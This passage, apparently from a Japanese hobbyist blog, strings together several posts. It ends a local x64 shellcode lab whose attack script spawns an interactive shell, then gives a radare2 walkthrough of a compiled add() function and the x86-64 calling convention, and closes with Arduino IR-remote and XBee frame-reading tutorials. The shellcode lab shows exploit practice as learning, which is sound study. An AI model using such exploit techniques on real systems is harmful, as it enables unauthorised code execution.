root@kali-linux:~/sandbox/pwn/0_shellcoder/lab# python attack.py [+] Starting local process './shellcoder': pid 10639 [*] Switching to interactive mode $ ls a.out buf core shell.asm shell.c_bk shellcoder ans.py compile.sh shell shell.c shell.o xor.py $ pwd /root/sandbox/pwn/0_shellcoder/lab $ quit [*] Process './shellcoder' stopped with exit code 0 (pid 10639) [*] Got EOF while sending in interactive
まとめ
自分でシェルコードを作成してみるまでは、\x48\x31\xff
みたいな16進数の値をみるとなんでもASCII文字に変換しようとしてみたり、これをどうみたらアセンブラコードになるんだろう?みたいな愚行を色々と重ねた時期もあったが、理解が深まった今となっては懐かしい思い出。
前よりも、バイナリコードとの距離が近づいた気がする。
その他
今回は学習の一環でシェルコードを自力作成したが、EXPLOIT-DATABASEなどにもx64のシェルコードはあるので、検証等で利用する場合はこういうのを使った方が断然スマート。
www.exploit-db.com
バイナリアン入門 第二回(x64, Linux)
はじめに
第一回ではmain関数の中で引数なしのprintf
を利用しただけなので、今回は関数呼び出しと可変長引数のprintf
を使用して解析してみようと思う。
解析用コードの作成
引数を5つ貰う関数の呼び出しとその結果を出力する単純なコードを用意する。
また、アセンブラコードではローカル変数がどのように扱われるのかを確認するため、add関数内では敢えてsum
変数を用意してみた。
#include <stdio.h> int add(int a, int b, int c, int d, int e) { int sum = 0; sum = a + b + c + d + e; return sum; } int main(void) { printf("sum = %d\n", add(1, 2, 3, 4, 0)); return 0; }
実行ファイルを作成する
gcc sample.c
実行ファイルの解析
Radare2を使って、バイナリを解析する。
Radare2は以前Twitterで知ったんだけど、結構使いやすくて重宝しそうな予感満載。
使い方は、このページがとても詳しい。
radare.gitbooks.io
何ができるか調べる分にはいいんだけど、詳しすぎてあれなので、解析する上で最低限必要そうなコマンドが紹介されているこのサイトが大変参考になりました。 www.bioerrorlog.work
r2 -d a.out
Process with PID 14020 started... = attach 14020 14020 bin.baddr 0x5564c6ff6000 Using 0x5564c6ff6000 asm.bits 64 [0x7f7b5ad84090]> aaa [x] Analyze all flags starting with sym. and entry0 (aa) [Warning: Invalid range. Use different search.in=? or anal.in=dbg.maps.x Warning: Invalid range. Use different search.in=? or anal.in=dbg.maps.x [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Check for objc references [x] Check for vtables [TOFIX: aaft can't run in debugger mode.ions (aaft) [x] Type matching analysis for all functions (aaft) [x] Propagate noreturn information [x] Use -AA or aaaa to perform additional experimental analysis. [0x7f7b5ad84090]> afl 0x5564c6ff7050 1 42 entry0 0x5564c6ff9fe0 1 4124 reloc.__libc_start_main 0x5564c6ff7080 4 41 -> 34 sym.deregister_tm_clones 0x5564c6ff70b0 4 57 -> 51 sym.register_tm_clones 0x5564c6ff70f0 5 57 -> 50 entry.fini0 0x5564c6ff7040 1 6 sym..plt.got 0x5564c6ff7130 1 5 entry.init0 0x5564c6ff7000 3 23 map.root_a.out.r_x 0x5564c6ff7210 1 1 sym.__libc_csu_fini 0x5564c6ff7135 1 58 sym.add 0x5564c6ff7214 1 9 sym._fini 0x5564c6ff71b0 4 93 sym.__libc_csu_init 0x5564c6ff716f 1 61 main 0x5564c6ff7030 1 6 sym.imp.printf 0x5564c6ff6000 3 404 -> 393 loc.imp._ITM_deregisterTMCloneTable 0x5564c6ff61aa 5 32 -> 55 fcn.5564c6ff61aa [0x7f7b5ad84090]> s main [0x5564c6ff716f]> pdf / (fcn) main 61 | int main (int argc, char **argv, char **envp); | ; DATA XREF from entry0 @ 0x5564c6ff706d | 0x5564c6ff716f 55 push rbp | 0x5564c6ff7170 4889e5 mov rbp, rsp | 0x5564c6ff7173 41b800000000 mov r8d, 0 | 0x5564c6ff7179 b904000000 mov ecx, 4 | 0x5564c6ff717e ba03000000 mov edx, 3 | 0x5564c6ff7183 be02000000 mov esi, 2 | 0x5564c6ff7188 bf01000000 mov edi, 1 | 0x5564c6ff718d e8a3ffffff call sym.add | 0x5564c6ff7192 89c6 mov esi, eax | 0x5564c6ff7194 488d3d690e00. lea rdi, qword str.sum____d ; 0x5564c6ff8004 ; "sum = %d\n" | 0x5564c6ff719b b800000000 mov eax, 0 | 0x5564c6ff71a0 e88bfeffff call sym.imp.printf ; int printf(const char *format) | 0x5564c6ff71a5 b800000000 mov eax, 0 | 0x5564c6ff71aa 5d pop rbp \ 0x5564c6ff71ab c3 ret [0x5564c6ff716f]> s sym.add [0x5564c6ff7135]> pdf / (fcn) sym.add 58 | sym.add (int32_t arg1, int32_t arg2, int32_t arg5, int32_t arg3, int32_t arg4); | ; var int32_t var_24h @ rbp-0x24 | ; var int32_t var_20h @ rbp-0x20 | ; var int32_t var_1ch @ rbp-0x1c | ; var int32_t var_18h @ rbp-0x18 | ; var int32_t var_14h @ rbp-0x14 | ; var int32_t var_4h @ rbp-0x4 | ; arg int32_t arg1 @ rdi | ; arg int32_t arg2 @ rsi | ; arg int32_t arg5 @ r8 | ; arg int32_t arg3 @ rdx | ; arg int32_t arg4 @ rcx | ; CALL XREF from main @ 0x5564c6ff718d | 0x5564c6ff7135 55 push rbp | 0x5564c6ff7136 4889e5 mov rbp, rsp | 0x5564c6ff7139 897dec mov dword [var_14h], edi ; arg1 | 0x5564c6ff713c 8975e8 mov dword [var_18h], esi ; arg2 | 0x5564c6ff713f 8955e4 mov dword [var_1ch], edx ; arg3 | 0x5564c6ff7142 894de0 mov dword [var_20h], ecx ; arg4 | 0x5564c6ff7145 448945dc mov dword [var_24h], r8d ; arg5 | 0x5564c6ff7149 c745fc000000. mov dword [var_4h], 0 | 0x5564c6ff7150 8b55ec mov edx, dword [var_14h] | 0x5564c6ff7153 8b45e8 mov eax, dword [var_18h] | 0x5564c6ff7156 01c2 add edx, eax | 0x5564c6ff7158 8b45e4 mov eax, dword [var_1ch] | 0x5564c6ff715b 01c2 add edx, eax | 0x5564c6ff715d 8b45e0 mov eax, dword [var_20h] | 0x5564c6ff7160 01c2 add edx, eax | 0x5564c6ff7162 8b45dc mov eax, dword [var_24h] | 0x5564c6ff7165 01d0 add eax, edx | 0x5564c6ff7167 8945fc mov dword [var_4h], eax | 0x5564c6ff716a 8b45fc mov eax, dword [var_4h] | 0x5564c6ff716d 5d pop rbp \ 0x5564c6ff716e c3 ret
main関数の解析
main
関数から読んでみる。
push rbp mov rbp, rsp mov r8d, 0 mov ecx, 4 mov edx, 3 mov esi, 2 mov edi, 1 call sym.add mov esi, eax lea rdi, qword str.sum____d ; 0x5564c6ff8004 ; "sum = %d\n" mov eax, 0 call sym.imp.printf ; int printf(const char *format) mov eax, 0 pop rbp ret
Function prologue
関数呼び出しをする際のお決まり(Function prologue)
push rbp mov rbp,rsp
add関数への引数設定
add関数に渡すための値をレジスタに設定している。
引数の渡し方はx86-64
のABIに準拠している。 どのABIか調べるにはIntelのサイトで「linux 64」などのキーワードで検索すると、該当するPDFが見つかると思う。
関数呼び出しに関する決まりごとは23ページのFigure 3.4: Register Usage
に記載がある。
%rdi used to pass 1st argument to functions
%rsi used to pass 2nd argument to functions
%rdx used to pass 3rd argument to functions; 2nd return
%rcx used to pass 4th integer argument to functions
%r8 used to pass 5th argument to functions
%r9 used to pass 6th argument to functions
mov r8d, 0 mov ecx, 4 mov edx, 3 mov esi, 2 mov edi, 1
add関数呼び出し
call sym.add
printfへの引数設定
printf
関数に渡すための値をレジスタに設定している。
第一引数のrdi
にはフォーマットとなる文字列のアドレスを設定し、第二引数のesi
にはsum = %d\n
の一つ目の%d
に表示するための合計値を格納している(戻り値はeax
に格納される)
mov eax, 0
命令は、今まで見てきた引数渡しのパターンに当てはまらないため調べてみると、printfの引数がベクトルレジスタ(浮動小数点)を必要とする場合、その数を設定する必要があるらしい。今回は整数型なので0
を設定している。
ここに関しては、PDFの55ページ3.5.7 Variable Argument Lists
で説明されている。
When a function taking variable-arguments is called, %rax must be set to the total number of floating point parameters passed to the function in vector registers.
mov esi, eax lea rdi, qword str.sum____d ; 0x5564c6ff8004 ; "sum = %d\n" mov eax, 0 call sym.imp.printf ; int printf(const char *format)
main()終了
main関数の戻り値としてeax
に0を設定し、スタックに積んでいたベースポインタの値をrbp
にポップ(Function epilogue)してきたらret
でmain関数を終了する。
mov eax, 0 pop rbp ret
add関数の解析
次にadd関数内の処理を読んでみる。
push rbp mov rbp, rsp mov dword [var_14h], edi ; arg1 mov dword [var_18h], esi ; arg2 mov dword [var_1ch], edx ; arg3 mov dword [var_20h], ecx ; arg4 mov dword [var_24h], r8d ; arg5 mov dword [var_4h], 0 mov edx, dword [var_14h] mov eax, dword [var_18h] add edx, eax mov eax, dword [var_1ch] add edx, eax mov eax, dword [var_20h] add edx, eax mov eax, dword [var_24h] add eax, edx mov dword [var_4h], eax mov eax, dword [var_4h] pop rbp ret
関数呼び出しをする際のお決まり(Function prologue)
push rbp mov rbp, rsp
コールスタックに引数を格納
渡された引数をコールスタックに格納している。
なぜ[rbp-0x14]
という中途半端な場所からスタートしているのか調べてみると、「アライメント境界」というのが関係しているらしいが、よくわからなかったのでそのまま進める。
mov dword [var_14h], edi ; arg1 mov dword [var_18h], esi ; arg2 mov dword [var_1ch], edx ; arg3 mov dword [var_20h], ecx ; arg4 mov dword [var_24h], r8d ; arg5
sum変数初期化
変数領域sum
を0
で初期化する。
mov dword [var_4h], 0
引数の合計値を求める
渡された引数1から引数5までの値を足している。
mov edx, dword [var_14h] mov eax, dword [var_18h] add edx, eax mov eax, dword [var_1ch] add edx, eax mov eax, dword [var_20h] add edx, eax mov eax, dword [var_24h] add eax, edx
sum変数に結果を格納
足し算の結果を変数sum
に当たるアドレス[rbp-0x4]
に格納し、戻り値としてeax
レジスタに値を格納する。
mov dword [var_4h], eax mov eax, dword [var_4h]
add関数終了
add関数の戻り値としてeax
に0を設定し、スタックに積んでいたベースポインタの値をrbp
にポップ(Function epilogue)してきたらret
でmain関数に戻る。
pop rbp ret
まとめ
雑にサクサクと読んでいったけど、関数呼び出しを含めた基礎の基礎の部分をふんわりと触れた。
Arduinoで赤外線通信をする
記事一覧
- 第一回:XBeeのAPIモードで温度を受信する
- 第二回:XBeeのフレームをArduinoで表示する
- 第三回:Arduinoで赤外線通信をする
はじめに
前回、XBeeによる無線通信の確認で室温を送受信することができたので、今度はエアコンを操作するために赤外線通信を試してみる。
準備
以下の部品を千石電気で揃える
リモコンの信号を解析する
IRRemoteという、赤外線通信を行うための素敵なライブラリが存在しているので、それを使ってサクッと解析しようと思っていたのだが、エアコンのリモコンが送信する信号量が多すぎてそのままだと解析できない問題に遭遇。
巷ではIRremoteInt.h
の以下の数値をMax(255)にすれば5割の確率で解析できるという情報が流れていたが、残念ながらそれでも足りなかった。
#define RAWBUF 101 // Maximum length of raw duration buffer
色々と物色していると、これまた素敵なサイトと遭遇した。
hawksnowlog: Arduino で赤外線信号を学習してエアコンを制御してみた
ここで紹介されているスケッチを使わせてもらい、無事リモコンの通信を解析できた。
エアコンに信号を送る
解析した値を使って、エアコンに対して信号を送る。
IRRemoteインストール
以下の手順で、ArduinoIDEからIRremoteをインストールする
スケッチ > ライブラリをインクルード > ライブラリを管理 > IRremote > インストール
信号を送信する
次に、赤外線を送信するスケッチ例を開く
ファイル > スケッチ例 > IRremote > IRsendRawDemo
最後にirSignal
の中身を解析した値で置き換えて、Arduinoに書き込む
/* * IRremote: IRsendRawDemo - demonstrates sending IR codes with sendRaw * An IR LED must be connected to Arduino PWM pin 3. */ #include <IRremote.h> IRsend irsend; void setup() { } void loop() { int khz = 38; unsigned int irSignal[591] = {3480, 1676, 516, 1204, 464, 1252, 464, 396, 520, 336, 524, 340, 516, 1200, 516, 344, 516, 344, 524, 1192, 524, 1196, 520, 336, 520, 1200, 528, 332, 524, 332, 528, 1192, 520, 1200, 520, 340, 516, 1200, 524, 1192, 524, 336, 524, 336, 520, 1200, 516, 340, 520, 340, 516, 1204, 520, 336, 524, 336, 520, 340, 520, 340, 468, 392, 464, 396, 460, 396, 464, 396, 472, 388, 468, 392, 468, 388, 468, 392, 468, 392, 464, 396, 464, 396, 472, 384, 472, 388, 472, 388, 468, 392, 468, 388, 468, 1252, 516, 344, 524, 332, 524, 336, 472, 388, 468, 392, 468, 1248, 520, 1200, 512, 344, 524, 336, 472, 388, 472, 388, 468, 1248, 520, 340, 516, 1204, 524, 332, 524, 336, 472, 388, 468, 392, 468, 392, 464, 1252, 516, 1200, 524, 336, 524, 1196, 520, 1196, 520, 340, 516, 344, 464, 396, 472, 388, 468, 392, 468, 1248, 468, 392, 464, 392, 468, 1252, 464, 396, 472, 388, 468, 388, 468, 392, 468, 392, 464, 396, 464, 396, 460, 400, 468, 388, 472, 392, 464, 392, 468, 392, 464, 392, 468, 392, 464, 396, 464, 396, 460, 400, 468, 388, 472, 388, 472, 388, 468, 392, 464, 392, 464, 396, 464, 396, 460, 400, 468, 392, 468, 388, 468, 392, 468, 392, 464, 396, 464, 396, 460, 396, 464, 396, 472, 388, 468, 388, 472, 392, 464, 392, 468, 392, 464, 396, 464, 392, 464, 400, 456, 400, 468, 392, 468, 388, 468, 396, 464, 392, 464, 396, 464, 396, 460, 400, 468, 388, 472, 388, 468, 392, 468, 388, 468, 392, 468, 392, 464, 396, 464, 396, 460, 1256, 472, 384, 472, 1248, 468, 392, 464, 1256, 460, 396, 464, 1256, 468, 1248, 468, 13276, 3504, 1656, 468, 1248, 464, 1252, 464, 396, 496, 364, 504, 356, 500, 1216, 500, 360, 496, 364, 496, 1220, 496, 1224, 492, 368, 500, 1216, 500, 360, 496, 364, 496, 1224, 492, 1224, 500, 360, 500, 1216, 496, 1224, 492, 364, 496, 364, 492, 1228, 500, 360, 496, 364, 496, 1220, 496, 364, 492, 368, 492, 364, 504, 356, 500, 360, 496, 364, 496, 364, 492, 368, 492, 368, 488, 368, 500, 360, 500, 360, 496, 360, 500, 360, 496, 364, 496, 364, 492, 364, 496, 364, 492, 368, 500, 360, 500, 1216, 496, 364, 496, 364, 492, 368, 492, 368, 488, 368, 492, 1224, 500, 1220, 496, 364, 496, 364, 492, 368, 492, 364, 492, 1228, 500, 356, 500, 1220, 496, 364, 492, 364, 496, 368, 488, 368, 500, 360, 500, 1216, 500, 1220, 496, 364, 492, 1224, 504, 1216, 496, 364, 496, 360, 500, 360, 496, 364, 492, 368, 492, 1224, 500, 360, 500, 360, 496, 1220, 496, 364, 496, 364, 504, 356, 500, 360, 496, 364, 496, 364, 492, 364, 496, 364, 492, 368, 492, 364, 492, 368, 500, 360, 500, 360, 496, 364, 496, 360, 496, 364, 496, 364, 492, 368, 488, 368, 500, 360, 500, 360, 500, 360, 496, 360, 496, 364, 496, 364, 492, 368, 500, 360, 488, 368, 500, 360, 500, 360, 496, 364, 496, 364, 492, 364, 496, 364, 492, 368, 492, 368, 500, 356, 500, 360, 496, 364, 496, 364, 492, 368, 492, 364, 492, 368, 492, 368, 500, 360, 496, 360, 500, 360, 496, 364, 496, 364, 492, 368, 492, 364, 492, 368, 492, 368, 500, 360, 496, 364, 492, 368, 492, 364, 492, 1224, 492, 368, 492, 1224, 500, 360, 500, 1220, 496, 364, 492, 1224, 500, 1220, 500}; irsend.sendRaw(irSignal, sizeof(irSignal) / sizeof(irSignal[0]), khz); delay(4000); }
Tips
赤外線が出ているかどうかを確認する時は、スマフォのカメラで赤外線LEDを見てみると出力が確認できる
XBeeのフレームをArduinoで表示する
はじめに
前回はXBee同士でのAPIモードを使った温度受信を試してみたので、今回はコーディネータが受信した値をArduinoからシリアルモニタに出力してみる。
XBee親機(コーディネータ)の設定
コーディネータと接続するArduinoへのスケッチ書込みと、XBeeと接続する。
Arduinoへスケッチ書込み
コーディネータが受信したフレームをコンソールに出力するようにする。
XBeeとの送受信はシリアルポート経由で行う。
- ツール > シリアルポート > Arduino /Genuino Uno - マイコンボードに書き込む
※ Arduinoへ書き込む時にシリアルポートがXBeeと繋がった状態だとエラーが起きるので、書き込む時だけは配線しないようにする。
回路図
こんな感じで、電源供給はArduinoから行い、シリアルポートを繋ぐだけ。
XBee子機(ルータ)の設定
前回の設定と回路のままで子機を動かす。
実行
ArduinoIDEのシリアルモニタを開くと、子機から受信したフレームが表示されているのを確認できる。
Receive data from xbee [ 7e 0 12 92 0 13 a2 0 41 7d 50 31 24 a4 1 1 0 0 2 2 c ] delimiter :7e len_msb :0 len_lsb :12 type :92 address_64 :013a20417d5031 address_16 :24a4 receive_options :1 number_of_samples :1 digital_channel_mask :00 analog_channel_mask :2 rf_data :2c
完成